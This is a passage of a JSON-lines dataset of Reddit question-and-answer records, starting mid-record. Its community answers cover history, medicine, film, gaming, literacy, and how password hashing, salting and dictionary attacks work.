Millet-i-Sadik (the Loyal People). \n\nBonus: \n\n- Who governed the 'Christian Quarter\"? They all share it. \n\n- Who governed the 'Muslim Quarter\" Overall the Sheikh ul Islam but locally the Imam of Al-Aqsa mosque. Good luck if you're shiah tho! lol. \"Only Sunnis need apply\".  \n\nIn her book, Empire of Difference, Karen Barkey argues that it was this unique approach to managing differences (millets were based on 'difference' between each other) that allowed the Ottomans to leverage various local loyalties against each other and in concert with the central state for prolonged stability, thus helping us understand not why the Ottomans fell apart but why the Ottoman realm stayed together as it did for so long."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1preid", "title": "What's the difference between alpha 1 and beta 1 receptors in regards to the heart?", "selftext": "I'm not really sure what the difference is?  Do they both increase heart contraction?  Do they do different things?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1preid/whats_the_difference_between_alpha_1_and_beta_1/", "answers": {"a_id": ["cd5dxfo"], "score": [8], "text": ["You sort of have the right idea. I'm assuming you know the basic mechanisms of receptors.\n\nOk so you understand that there are both alpha-1 and beta-1 receptors, but there are also alpha-2 and beta-2 receptors as well, each with specific functions. These subtypes fall under a general class of receptors called *adrenergic receptors*. This class binds a specific group of drugs called *catecholamines*. In the human body, the primary ones include epinephrine (adrenaline), norepinephrine (noradrenaline), and dopamine, although dopamine's role is somewhat limited in this case.\n\nThe difference between these is the interactions of agonists and antagonists with the receptors. \n\nSo to start, you have alpha-1 and alpha-2 receptors. Alpha-1 receptors are located primarily on vascular smooth muscle (the muscle surrounding your blood vessels) and are bound by both epi and norepi. Alpha-1 stimulation causes *vasoconstriction* of the blood vessels. This functions to increase blood pressure by increasing peripheral resistance. Alpha-2 receptors are somewhat limited. They are located on presynaptic terminals and are bound by norepi to inhibit the release of norepi. This is *negative feedback*.\n\nNext, beta receptors. Beta-1 are bound by both epi and norepi, while beta-2 is only bound by epi. Beta-1 activation causes an increase in *contractile force* and *heart rate*, which increases blood pressure due to more fluid being pushed out at a higher rate. Beta-2 activation causes *vascular muscle relaxation*, which decreases blood pressure due to there being less peripheral resistance. \n\nFrom this, medical professionals can use specific drugs that target these receptors in order to treat whatever conditions may be present. For example, drugs that activate beta-2 receptors that relax smooth muscle can be used to treat asthma. Or in someone with hypotension (low blood pressure), drugs that activate alpha-1 receptors can be used to cause vasoconstriction and increase blood pressure, etc.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4e4kwp", "title": "the health care system of japan.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4e4kwp/eli5_the_health_care_system_of_japan/", "answers": {"a_id": ["d1wz6bi"], "score": [6], "text": ["Like the United States, Japanese citizens are required by law to have health insurance. For those that don't have insurance through an employer they can be covered by the national insurance plan. Unlike the United States their hospitals are nonprofit by law. It's my understanding that you are responsible for up to 30% of the cost but it is based on your income. The cost of medicine, procedures, etc. are reestablished every two years. \n\nBasically, pretty similar to the United States but they work hard to keep the prices from unnecessarily rising. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ckazlu", "title": "why do polyglots sometimes stammer when speaking in their native language? i read, a long time ago, it happens because they think words in so many languages the brain \"sends them all simultaneously to be spoken\", but i was hoping for a more thorough explanation.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ckazlu/eli5_why_do_polyglots_sometimes_stammer_when/", "answers": {"a_id": ["evl8yvo", "evlb7vv", "evlcrtf"], "score": [3, 5, 18], "text": ["I saw a vsauce episode about how when you try to remember a word but someone told you another you can't think of the one you're looking because there's a \"brain loop\" that gets filled with the intruding word and you can't get the right one to emerge because there's one blocking the loop already.\n\nAnd whenever I have a hard time finding words in my own language, it's usually because I'm stuck with the English one in mind.\n\nI'm pretty sure it's linked to what I heard in Vsauce.\n\nIt was an episode of Vsauce made by Michael. I'll try to find it when I'm home.", "Imagine having 2 seconds to find the right word in an old-fashioned, 10-pound, hard copy of a dictionary. It's like that, but with 3 or more different languages, all in the same dictionary, with the languages all jumbled together. It's kind of like a quick matching game happens in an instant, and you have to quickly go through the files in your head to identify the correct word you are looking for. \n\nWhen I speak Spanish with my in-laws, sometimes I \"hear\" the Japanese word for the English word I'm looking for in my head, and I have to actively think \"No, wrong language, what's the Spanish word?\" while I'm mid-conversation with my husband's mother and stammering like an idiot.\n\nSo the whole conversation goes like, *In spanish* \"Mom, those chilaquiles were delicious! I heard you were working on this all day....uhh(trying to remember the word for yesterday in Spanish.....Kinou?? (Japanese)....nope....Ayer! (Spanish)) Ayer!\"", "this often occurs when you find the best word describing your thought, but it happens to be in the foreign language. You then struggle to translate that word into your native language. Or it might be the translated word does not hit the intended meaning as precise."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "294dkh", "title": "What is neuroplasticity?", "selftext": "I know what the basic idea is but I am still a bit unsure. So if possible could I have a simplified and maybe a more in depth version of what neuroplasticity is.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/294dkh/what_is_neuroplasticity/", "answers": {"a_id": ["cihckyy"], "score": [6], "text": ["Rewiring of the brain.  When I think plasticity, I think of how moldable the brain is.\n\nFor example, if you introduce a certain drug to the brain constantly, like nicotine, the chronic stimulation of nicotinic acetylcholine receptors may result in a down regulation of the receptors, or a decrease in the amount of receptors in response to this constant stimuli.  Therefore, the brain is less responsive to nicotine.\n\nSo it is essentially rewiring of the brain due  to some kind of stimuli.  It is some kind of response as a result of something occurring to the brain "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4ce5oi", "title": "If Abraham was allegedly born in ancient Ur, does that make the Hebrews ethnically Sumerian by extension?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ce5oi/if_abraham_was_allegedly_born_in_ancient_ur_does/", "answers": {"a_id": ["d1hl2qd"], "score": [11], "text": ["While the identification of Ur in the book of Genesis with the Sumerian city of Ur was popularized by Leonard Woolley, the archaeologist who excavated of the latter, the question remains unresolved. Indeed, most traditions place Biblical Ur somewhere in northern Mesopotamia, outside of Sumer proper (though certainly within reach of Sumerian traders and colonists). But let's assume for the sake of argument that Biblical Ur was indeed the famed Sumerian city of Ur.\n\nBy tradition, Abraham was the ancestor of the Israelites and the Ishmaelites. Abraham's nephew Lot was the father of the Moabites and Ammonites. Other relatives are described as Arameans. These are all Semitic peoples (in particular, West Semitic). Abram (the original name of Abraham) is a Semitic name.\n\n\"Sumerian\" was the name given to the non-Semitic inhabitants of Mesopotamia by the Semitic Akkadians. The Sumerian language, which was completely unrelated to the Semitic languages or to any other known language, was the first language to be recorded in Mesopotamia and remained a classical language for a long time, but ceased to be spoken by around 2000 BC. Insofar as we can place Abraham at some point in history, it is likely that by his time Sumerian was no longer a spoken language in Ur or anywhere in Mesopotamia. \"Ethnic Sumerian\" might have already become an anachronism by the time of Abraham.\n\nAbraham's clan were nomadic pastoralists. Abraham certainly moved around a lot in his lifetime, staying in Egypt at one point. We shouldn't draw firm conclusions about his ethnicity based on where he happened to be born.\n\nEdited for grammar."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "tbzh6", "title": "mullholland drive", "selftext": "Ok, here's to hoping that this movie has a coherent explanation and it's not abstract art. I was ok up until the last 30 minutes with the blue box. Then the movie stopped making sense. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/tbzh6/eli5_mullholland_drive/", "answers": {"a_id": ["c4lb1bo", "c4lbddv", "c4ldxib", "c4leigl", "c4lfo1i", "c4lfoze"], "score": [2, 3, 2, 5, 2, 9], "text": ["The part before the blue box is the actress dreaming. What happens after is reality.", "Not an answer, but I just found this hilarious because it's a David Lynch movie.\n\nELI5: Eraserhead", "To me, the movie doesn't make sense unless you think of the whole thing as a dream.\n\nI tried for a while to figure out what part of the movie was 'real' - was Naomi Watts an actress having a dream about this mystery and her real life lover?  Etc.\n\nThen I realized that *all* of it could be a dream, or several dreams.  Naomi Watts could be an office drone, having a dream about a weird mystery and this fantasy of being an actress that turns into a sex dream about a coworker.  There's no way to know.", " >  Ok, here's to hoping that this movie has a coherent explanation and it's not abstract art.\n\nIt has no coherent single explanation, but that doesn't make it abstract art either. The plot isn't a puzzle that has to be solved, like an Agatha Christie story, or something deeply symbolic, like a Luis Bunuel story. The plot is secondary, and features gaps and subtleties as a service to the primary focus: the atmosphere and sense of mystery.\n\nIn Mulholland Drive -- and in Inland Empire, and Lost Highway, and the other 'surrealist' Lynch movies -- something mysterious and scary is happening to the characters. They enter a nightmarish, befuddling scenario in which their world becomes menacing and confusing, and they try to survive and get to the other side. The movie tries to capture this feeling and put you in there with the character.\n\nThe actual fine details of the plot -- what does the blue box signify, is Nikki aware of Susan, why an eraser -- are left as an exercise to the viewer. And they're quite fun to ponder and discuss (and if we want to talk about what happened in Inland Empire, I could write all evening). But they're secondary. The stories are Kafka, not Arthur Conan Doyle. We never find out *why* Josef K was arrested, not because it's being saved for a dramatic final-hour twist but because *not knowing* is in itself the heart of the thing.", "Here is a nice detailed explanation of the movie, just ignore the fact that its written from the \"HULK's\" point of view.  _URL_0_", "A talented and attractive but deeply insecure young woman (Diane Selwyn) moves to Los Angeles hoping to become a big-time actress, where she falls deeply in love with a more confident, successful actress (Camilla Rhodes) who helps her kick-start her career and allows her to mix with some Hollywood bigwigs, earning her a few minor movie roles. She is eventually rejected by her fame-hungry lover who becomes romantically involved with a well-known director, flaunting her new relationship in front of Diane at a dinner party. Diane suddenly finds herself alone and scared in the cutthroat world of show business, and feels she is now doomed to failure. Despondent and in a jealous rage, she hires a hitman to kill Camilla, thinking this will make her feel better. However, when she receives confirmation that this has been completed (blue key), the reality of what she's done hits her and she sinks into a deep depression which eventually turns into a paranoid psychosis resulting in her suicide.\n\nAt the very beginning of the movie, before we know of this backstory, Diane falls asleep one last time, her tortured and delusional mind causing her to dream of a world where she is the polar opposite of what she has become. In her dream, she is still a fresh-faced, innocent young girl, confident and in control. She is the one the big director wants but can't have, only due to circumstances beyond their control (Mafia intervention in the film's casting process), she is the strong one in the relationship protecting her friend and lover and helping her navigate a dangerous world. Still though, people and places she saw while she was planning the real-life murder keep creeping back into her perfect fantasy world, causing the more nightmarish moments of her dream (For example, the scared man in the diner was a guy she saw paying for his meal while she was meeting with the hitman in real life. In her paranoid state, she seemed to at least subconsciously suspect that he knew what she was up to, this becoming another fear in the back of her mind manifesting itself in her dream). The blue box signifies Diane's consciousness, the blue key triggers her memory, forcing her to open the box (awaken). She awakens back to her horrible reality and reflects on the events that led her to the crushing emptiness and despair that she now has to live with. Here we see what happened to cause the twisted nightmare we just saw, and eventually her suicide.\n\nDavid Lynch is portraying the corrupting and dehumanizing nature that underlies the glitz and glamor of the Hollywood film industry. It's a big middle finger to those in the industry that perpetuate and thrive off what he sees as a soul-crushing environment.\n\nThis is just my \"abbreviated\" take on the story, sort of an overall picture, and there's plenty that it doesn't explain. I've tried to stick mainly to explanations that are typically not disputed in the hundreds of threads out there on this subject, since just about everything in this film seems to be open to some interpretation. Sorry if it's not 'ELI5' but Mulholland Dr. is not exactly one for the kids.\n\nEDIT: changed \"figure\" to \"finger\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://badassdigest.com/2012/03/04/film-crit-hulk-smash-hulk-vs-the-genius-of-mulholland-drive/"], []]}
{"q_id": "e9qinb", "title": "In the last century or so, English-speakers seem to have shifted from referring to classical gods by the Latin forms of their names to the Greek forms. Is this an effect of Latin no longer being a required school subject, or was there a revival of interest in Greek literature specifically?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/e9qinb/in_the_last_century_or_so_englishspeakers_seem_to/", "answers": {"a_id": ["fals229"], "score": [22], "text": ["Just a note that Roman gods like Jupiter and Mars are not just the Roman versions or translations of Greek gods. They were their own gods that while very similar in some cases do not have a 1 to 1 relationship.\n\nThis was expanded upon in  [_URL_0_](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/78fsmy/is\\_zeus\\_and\\_jupiter\\_the\\_same\\_god/", "https://www.reddit.com/r/AskHistorians/comments/78fsmy/is_zeus_and_jupiter_the_same_god/"]]}
{"q_id": "1y0vy5", "title": "what does it mean to salt, pepper, and hash a password?", "selftext": "I read this during the post about Kickstarter, and I'd like to know what those terms actually mean.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1y0vy5/eli5_what_does_it_mean_to_salt_pepper_and_hash_a/", "answers": {"a_id": ["cfgcjtu", "cfgesfj"], "score": [36, 8], "text": ["It's a way of making passwords more secure.\n\nLet's say you are building a computer system that requires people to login with a username/password. This data will be stored in a database, which has potential to be accessed by a malicious third party (hacker!).\n\nIf you password was stored in plain text (e.g. the word 'password'), then it would be simple for the hacker to know your (and everyone else's) password. This is a severe security issue.\n\nHashing a password is to turn this plain text string into a different, non-reversible, string. There are [several](_URL_1_) [hashing](_URL_0_) types out there that are commonly used by web developers. For instance, turning the word 'password' into a MD5 hash would produce '5f4dcc3b5aa765d61d8327deb882cf99'.\n\nNow, when a user attempts to log in to the application, instead of comparing the entered plain text password with the stored plain text password, the application would hash the entered password and compare it with the stored hashed password.\n\nThese hashes are not foolproof however, they can be brute forced (i.e. can be decoded by simply trying all of the combinations) fairly easily, and there are online databases of string to hash conversions readily available. The above hash for the word 'password' is fairly common, and anyone brute forcing that hash would likely break it fairly quickly.\n\nTo help reduce the possibility of this, the application may use a salt. A salt is simply a secret string that is known only to the application (in theory) that is appended to the front of the entered password before it is hashed. For instance, if the salt for our application was \"abc123\" (although this is probably a bad idea!) then we would be creating a hash of the plain text \"abc123password\". This hash is much less likely to be brute forced (although not impossible).\n\nA pepper is the same concept, but is prepended to the end of the entered password, for instance \"passwordxyz987\".\n\nA salt and pepper can be combined - \"abc123passwordxyz987\" - to create a much less \"hackable\" hash.\n\nIt is worth noting that this doesn't make a users password any more secure, as the salt and pepper strings are always added to the password when saving the data or comparing the data, so for comparison purposes it makes no difference, however if this stored hash was to fall into the wrong hands, it would be much tougher to crack.\n\n*edit*\nCourtesy of /u/RANDOMUSER567\n\n > This is mostly right except what you describe \"a secret string that is known only to the application\" is a pepper but not a salt. A salt is a random string (or really collection of bytes) unique to each stored hash. Salts are typically stored along with the the final hash because there's no need to protect them. Simply the fact that each hash has it's own unique salt value makes pre-computed rainbow tables impractical.\n\n > Peppers help protect against brute forcing (although the extent is debatable since it's always the same value) whereas salts do nothing to protect against brute force but effectively defeat rainbow tables.", "When you create an account on a website (say, reddit), it doesn't need to remember your password. It just needs to be able to ensure that passwords in your future login attempts match the password at account creation. So, instead of storing the password in plaintext, it stores a hash of the password. A hash is basically a one-way mangling process that is just shy of impossible to work backwards.\n\nFor example, the md5 hash of \"hunter2\" is 2ab96390c7dbe3439de74d0c9b0b1767\n\nWhen you log in, the website will hash the password that you entered, and compare it to the stored hash. For example, let's say you mistyped and accidentally wrote \"hunter3\". The md5 hash of \"hunter3\" is 46b2114265fe361c6020347592d67912 - completely different, and the website will reject this login attempt.\n\nOccasionally, some well-known website will have a security breach. Perhaps a disgruntled employee leaks account information, or somebody accidentally brings a virus into a data center. Somehow, a list of usernames and password hashes ends up in public. Fortunately, since hashing is a one-way mangling function, you can't just work backwards to find the password. \n\nHowever, a hash list is still vulnerable to a Dictionary Attack. A Dictionary Attack involves starting with a list of thousands of common passwords (the dictionary), hashing them with whatever method you want, and comparing thousands of dictionary hash outputs to the leaked list, looking for matches.\n\nTo continue on the hunter2 example:\n\nUnfortunate redditor's entry in the leaked database:\n\n    idiotuser    2ab96390c7dbe3439de74d0c9b0b1767\n\nSegment of a dictionary that has had an md5 hash applied to every entry:\n\n    hunter1    726ad07bc398372b56a52e3de8693679\n    hunter2    2ab96390c7dbe3439de74d0c9b0b1767\n    hunter3    46b2114265fe361c6020347592d67912\n\nDing ding ding! We have a match! idiotuser's password is \"hunter2\"!\n\nTo prevent dictionary attacks, websites will \"salt\" their hashes. This means that extra information is applied to the password before hashing. Instead of storing a hash of \"hunter2\", the website might store a hash of \"hunter2+whatever\"\n\nSince the extra information - the salt - is kept secret (or might be \"randomly\" generated from a secret seed and unique account information such as the username), salted hashes are far less vulnerable to dictionary attacks. With a salt of \"+whatever\" applied, idiotuser's entry in the password hash list now looks like this:\n\n    idiotuser 094ce64e9693f39fd4dde02bb7dd17ee\n\nIf this information is leaked, it will not be matched to a dictionary entry. Of course, the security added by salting depends on keeping the randomization details for salt generation secret."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/SHA-1", "http://en.wikipedia.org/wiki/MD5"], []]}
{"q_id": "1mu2hc", "title": "why don't all console video games allow all the controls to fully customisable?", "selftext": "This is a first world problem i know, but does this make programming or testing the game harder? Or is there some other reason? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1mu2hc/eli5_why_dont_all_console_video_games_allow_all/", "answers": {"a_id": ["cccmngq"], "score": [26], "text": ["It is an additional potential source of problems, and requires a lot of testing. If rebinding a key causes the game to be unplayable, or worse, make it crash, the console manufacturer may reject it. The cost of a postponed launch (especially for an AAA release on HD consoles) versus the benefit of customizable keys is a no-brainer for most game editors. The one I used to work for had a tracking program to make statistics and it showed that less than a third of players even open the option menu once in their games. And most of the time they only change the audio settings.\n\nIn most cases it would also mean much more work (and testing) on the tutorials showing which key to press to do something. Instead of simply having one sentence with one picture for each language, you need to write a program that looks in your preferences which key should be displayed.\n\nAlso, on the both DualShock and the 360 pad, there would be limitations as to what key you can rebind, since some are analog, and some are not. (Triggers and the four facial keys are all analog but triggers have more levels of pressure, etc) That's why some games allow for several presets but not full customization.\n\nFinally, I am one to think that if you are dumb enough to configure your racing game with \"start\" to accelerate and \"left trigger\" to honk, you deserve the shitty experience you would get. But most game designers I talked with disagreed, they think that if you show the game to someone else in that state, (s)he would have a bad opinion on the game because of that.\n\n\n**TL;DR** : It requires work, it's risky, most people don't use it anyway.\n\nPS : sorry if my wall of text + bad English are indigest. Don't hesitate to ask for clarifications."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9tfj5b", "title": "Why did Latin America develop Di\u00e1 de Los Muertos, opposed to Spain who hasn't developed a similar holiday? What are the origins of \"The Day of the Dead\" and why did it emerge in Latin America uniquely?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9tfj5b/why_did_latin_america_develop_di\u00e1_de_los_muertos/", "answers": {"a_id": ["e8w75uy"], "score": [11], "text": ["There's always room for discussion, but perhaps this previous question will answer your inquiry.\n\n* [How did the Day of the Dead celebrations evolve?](_URL_0_) by /u/drylaw"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/9r28x3/how_did_the_day_of_the_dead_celebrations_evolve/"]]}
{"q_id": "2sk0wz", "title": "We all know that vaccines do not cause Autism: Are there any peer-reviewed studies showing that vaccine refusers have the same rate of neurological/immune disorders as vaccine acceptors?", "selftext": "Since so many people recently are stupidly refusing vaccines, it just seems like it would be rather easy to show that the rates of autism and other neurological/immune disorders occur at the same rates as those who received vaccines. I tried for 30 min on google to find any study about this and failed. \n\nIt just seems that this could easily put to rest that anti-vaxxers are stupid. Who am I kidding, they wouldn't listen anyway...\n\nCan anyone help? Thanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2sk0wz/we_all_know_that_vaccines_do_not_cause_autism_are/", "answers": {"a_id": ["cnq9hxx", "cnqhaw9", "cnrfm05"], "score": [24, 8, 3], "text": ["[Here](_URL_4_) is a very nice review article discussing just what you're asking. Proposed mechanisms for autoimmune disorders typically say that certain molecular patterns that belong to a specific pathogen could potentially be similar enough to one of your own proteins to activate circulating autoreactive B or T cells by \"[molecular mimicry](_URL_3_).\" It is more likely however, that infection in the absence of vaccination with the wild-type pathogens themselves is going to cause tissue destruction and the release of your own self-antigens in greater quantity than vaccination would. Flaws in proposed mechanisms by which vaccines could cause autoimmune disorders are generally borne out by well-controlled epidemiological studies (meaning vaccines are not associated with an increased risk of these disorders).\n\nIf I may digress, an infection may be able to spur the onset of an autoimmune disease. [Ken Alibek](_URL_0_), the former head of the Soviet [Biopreperat](_URL_1_) (their bioweapons program) defected to the US in 1992, and has written about how the program purportedly modified existing viruses to do these things. Perhaps the most prominent example being the modification of variola virus (the causative agent of smallpox) to express the human gene encoding myelin. In theory, this could potentially have led to the development of multiple sclerosis in people infected with the virus who did not die from smallpox.\n\nWhile looking for papers addressing your question, I did happen across [this one](_URL_2_) which suggests there was a statistically significant increased risk, albeit slight, of the development of Guillain-Barr\u00e9 Syndrome in the 1976 A/New Jersey influenza vaccine, but this hasn't been seen in any influenza vaccinations since then, to my knowledge.\n\nAll in all though, it would definitely seem that vaccinations are incredibly safe and undoubtedly effective.", "[This study](_URL_0_) From the journal *Pediatrics* may be what you're looking for (and they offer the PDF for free!).\n\nFrom their conclusions:\n\n > Our findings may allay some patient, caregiver, and health care provider concerns. Strength of evidence is high that MMR vaccine is not associated with the onset of autism in children; this conclusion supports findings of all previous reviews on the topic. There is also high-strength evidence that MMR, DTaP, Td, Hib, and hepatitis B vaccines are not associated with childhood leukemia.\n\n > Evidence was found for an association of several serious AEs with vaccines; however, these events were extremely rare: absolute risk is low. For example, strength of evidence is moderate for association of vaccines against rotavirus with intussusception. Although 1 large US epidemiologic study found no association, a recent analysis of the US PRISM program found both RotaTeq and Rotarix associated with intussusception in the short term. Estimated rates were 1.1 to 1.5 cases per 100 000 doses of RotaTeq and 5.1 cases per 100 000 doses of Rotarix.", "There have been several studies comparing rates of autism among vaccinated and non-vaccinated children; to my knowledge, the largest one [is this retrospective cohort study of all children born in Denmark from 1991 to 1998](_URL_0_). The authors found no difference in autism risk between children who had the MMR vaccine and those who didn't, and no correlation with things like vaccine scheduling."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Ken_Alibek", "http://en.wikipedia.org/wiki/Biopreparat", "http://www.nejm.org/doi/full/10.1056/NEJM198106253042601#t=articleTop", "http://en.wikipedia.org/wiki/Molecular_mimicry", "http://pediatrics.aappublications.org/content/111/3/653.full"], ["http://pediatrics.aappublications.org/content/early/2014/06/26/peds.2014-1079.abstract"], ["http://www.nejm.org/doi/full/10.1056/NEJMoa021134"]]}
{"q_id": "aczwo9", "title": "what is gout?", "selftext": "my dad recently got diagnosed by gout and i don\u2019t get what kind of disease (is it even a disease?) it is. how is it caused? is there a cure? will my dad die from it?? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aczwo9/eli5_what_is_gout/", "answers": {"a_id": ["edc99jj", "edc9apw", "edc9ss2", "edcaf08"], "score": [8, 3, 4, 6], "text": ["It basically forms crystals in some of the joints. If he follows the diet he will be fine. It isnt really deadly usually but is can cripple someone if they dont watch what they eat or follow a treatment plan.", "It's a form of arthritis caused by excess uric acid in the blood and joints. \n\nIt mostly affects your feet/big toes. For me, at least. \n\nHe will not die. \n\nI don't believe it is classified as a disease. \n\nIt will flare up intermittently throughout time. ", "It is made worse by consuming too much alcohol and high fat foods, especially red meat. It can be extremely painful, even crippling during a flare up. There is an inexpensive daily prescription medication that lowers uric acid levels, it\u2019s called allopurinol. \n\nSource: I have gout. ", "I suffer from gout. It is essentially a form of arthritis caused by buildup of uric acid in the blood. The acid crystallizes and these crystals build up in joints (usually the big toe), causing pain and swelling (I can\u2019t wear a shoe during a flare, for example). It\u2019s generally caused by an indulgence in foods with high quantities of purine. In my case, I had to eliminate shellfish and asparagus from my diet. Others have different triggers. Flares typically last from a few days to a week. \n\nThe pain is indescribable. To give you a comparison, I had an unrelated, unexplained seizure ten years ago, the convulsions from which broke both my shoulders, snapped two vertebrae, and pulled my arm out of socket. I spent three months in the hospital getting put back together. None of the resulting pain was as bad as a gout flare. Gout pain doesn\u2019t even respond to morphine; it\u2019s that bad. You must remove the inflammation. \n\nFortunately, there is medication that can help, both for flares and, if necessary, daily maintenance drugs. \n\nGout itself is not life-threatening. \n\n[This woodcut](_URL_0_) from the 17th century is a pretty accurate  illustration of the pain. I wouldn\u2019t wish it on my worst enemy. I wish your dad the best of luck. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.m.wikipedia.org/wiki/Gout#/media/File%3AThe_gout_james_gillray.jpg"]]}
{"q_id": "3guiqt", "title": "Were there any notable examples of past societies musing over \"What will future historians think of our society?\" the way we do today?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3guiqt/were_there_any_notable_examples_of_past_societies/", "answers": {"a_id": ["cu1ooh9"], "score": [5], "text": ["In Donald Kagan's analysis of Thuycidides history if the Peloponnesian War Kagan makes this exact claim about Thuycidides historical writing. That Thuycidides wrote his history as a document which would serve as a tool for all time so that people in the future could look back on the past and understand. He further claims the Thuycidides strategically adds and omits certain details which Kagan speculates serves to further refine Thuycidides chosen narrative about his time and his role in the events."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "d9vdf4", "title": "whenever i focus my eyes during reading or writing, they sometimes go haywire and make a brief but rapid side to side movement. what is this and why does it happen?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/d9vdf4/eli5_whenever_i_focus_my_eyes_during_reading_or/", "answers": {"a_id": ["f1lp7ty", "f1lpk9o", "f1lq50w"], "score": [7, 2, 2], "text": ["It could be nystagmus. [Here](_URL_0_)  is a link for some info. Some of the causes sound scary but from what I understand it\u2019s not always the case. Check with your eye doctor.", "Not sure what it is, but I can actually do this on demand. I essentially do exactly the opposite of what you're describing - I defocus my eyes, and then kinda flex my eyes muscles. That does the trick.\n\n & #x200B;\n\nMy guess is that its just an effect that comes from trying to get your eyes to work too hard too fast. Almost positive its a muscle thing.", "So, as noted, don't come to Reddit for medical advice, go to your doctor.\n\nThat being said, it's important to know that it's very normal for eyes to move back and forth quickly, but that's only true to a certain degree.  This normal movement is called saccadic eye movement, and it's just natural for eyes to do as they shift between points of focus, it's how our brains quickly build an understanding of the full scope of what we're looking at.\n\nWhat you describe happens to me a lot when reading/writing.  For me, it's an \"overload\" effect from straining my eyes to focus on what I'm doing, them getting tired, and me trying to focus them again, which my brain interprets as a shift in focal points and looking at something new (reconstructing my brain map of the subject), even though I'm staring at the same thing I have been.\n\nBasically, when that starts to happen while reading/writing, it's time to take a break and give your eyes some rest. your eyes are tired and they're misinterpreting signals from your brain.  Don't rub them, though, over time pressing on your eyes can actually cause your lenses to deform and thus worsen your vision.  Instead maybe go for a walk or stare out a window or something where you can look at something far away from you without having to focus your eyes, like the horizon or the clouds."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.aoa.org/patients-and-public/eye-and-vision-problems/glossary-of-eye-and-vision-conditions/nystagmus"], [], []]}
{"q_id": "1fcfub", "title": "Is the internet contributing to childhood literacy in a greater capacity than books have in the past?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1fcfub/is_the_internet_contributing_to_childhood/", "answers": {"a_id": ["ca93ilr", "ca93k3q", "ca93kma", "ca95g5y"], "score": [28, 3, 5, 11], "text": ["I'm not 100% about the internet, but at least with texting, the answer seems to be \"yes.\" There have been several studies that suggest that there is a strong correlation between being a frequent texter, and having positive performance in (some aspects of) reading and writing. There are a couple of theories as to why this is, but the main idea is that being exposed these people are being exposed to and are using much more written language then people in the past, and as such are becoming more proficient with it (the same as learning a foreign language). Also, the phenomenon of txt/lol-speak, counter-intuitive to how many people see it, also seems to have a net positive effect on literacy, the idea here being that people using this are intentionally manipulating and \"twisting\" the standard language, which requires a knowledge of the standard to do.\n\nNote that both of these explanations also apply to the way language is used on the internet, so I imagine that yes, the internet might very well have a huge impact on literacy, and probably much more then books, as not everyone really interacts with books very often, but almost everyone interacts with written language on the internet.\n\nI'll hunt down some sources on this and add them to my post.\n\nEDIT: This post from Language Log details some of the studies that have shown this towards the end (The post is about a single study that claimed the opposite, which he demolishes):\n _URL_0_", "Could you specify what you mean by \"childhood literacy\"? It reads to me as \"learning to read during childhood\", which would make it hard to tell what impact the Internet has since most places with widespread broadband access also have adult literacy rates near 100% to begin with.", "The literacy skills needed to read and write haven't changed, but the medium has changed. I would argue that there are more opportunities to read and write because of advances in technology, but the skills to write a well-crafted email are not different from the skills needed to write a letter with a quill and parchment. Yes, you have to learn to type. You also have to learn to use a quill!\n\nSource: I'm a reading specialist. ", "Yes. As a high school English teacher, I'm using programs available over the internet to diagnose reading levels, track student usage, progress, and needs. Students are able to self-select and access reading online, and, interestingly, do not \"count\" online reading as actual reading, thus I bypass student-resistance to reading whereas a paper book creates all sorts of discord. Further, when I allow students to download the SAME required book onto their phones to read, they will stick their noses onto the screen and read silently for MUCH longer than a paper book. \n\nI can't speak to their eyesight, but I can state last year I brought my classes from the mid-70s to almost 100% meets or exceeds standards on multiple instruments (state testing and national reading program standards). Btw--10th graders.\n\nEDIT: I also require reddit accounts... ;-D"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://languagelog.ldc.upenn.edu/nll/?p=4099"], [], [], []]}
